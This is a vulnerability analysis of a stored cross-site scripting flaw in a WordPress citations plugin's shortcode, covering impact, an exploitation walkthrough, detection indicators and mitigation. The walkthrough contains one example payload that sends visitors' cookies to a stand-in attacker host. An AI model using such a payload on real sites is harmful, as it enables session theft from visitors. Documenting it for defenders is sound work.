CVE-2026-1912: 
WordPress vulnerability analysis and mitigation

CVE-2026-1912 is a Stored Cross-Site Scripting (XSS) vulnerability in the Citations Tools plugin for WordPress. It affects all versions up to and including 0.3.2, stemming from insufficient input sanitization and output escaping on the code parameter within the ctdoi shortcode. The vulnerability was published on February 14, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists because the ctdoi shortcode's code parameter does not properly sanitize user-supplied input before rendering it in page output, allowing arbitrary JavaScript to be embedded in WordPress content. Exploitation requires an authenticated attacker with at least Contributor-level access to insert a malicious shortcode into a post or page; the injected script then executes in the browser of any user who visits the affected page (Red Hat Advisory, Wordfence).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of site content. The scope is changed (affecting users beyond the attacker's own session), with low confidentiality and integrity impacts and no direct availability impact (Red Hat Advisory).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is limited to authenticated users with Contributor-level access or higher, which reduces the overall attack surface (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Citations Tools plugin version 0.3.2 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create a WordPress post or page containing the ctdoi shortcode with a malicious payload in the code parameter, e.g., [ctdoi code="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit content: Submit the post for review or publish it directly (depending on role permissions), embedding the stored XSS payload in the site's database.
5. Trigger execution: When any authenticated or unauthenticated user visits the page containing the injected shortcode, the malicious script executes in their browser, potentially stealing session cookies or performing other malicious actions (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing ctdoi shortcode with suspicious code parameter values including <script>, javascript:, or encoded variants.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing [ctdoi code= entries with script tags or encoded payloads.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the ctdoi shortcode, potentially indicating cookie or credential exfiltration.

WordPress site administrators should update the Citations Tools plugin to a version beyond 0.3.2 if a patched release is available from the plugin's official repository. If no patch is yet available, the recommended workaround is to deactivate and remove the Citations Tools plugin until a fix is released. Additionally, restricting Contributor-level user registrations and reviewing existing Contributor accounts can reduce the attack surface (Wordfence, Red Hat Advisory).

Wordfence included CVE-2026-1912 in their weekly WordPress vulnerability report for February 9–15, 2026, as part of routine plugin vulnerability tracking. Red Hat also published a security advisory referencing the CVE. No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified (Wordfence, Red Hat Advisory).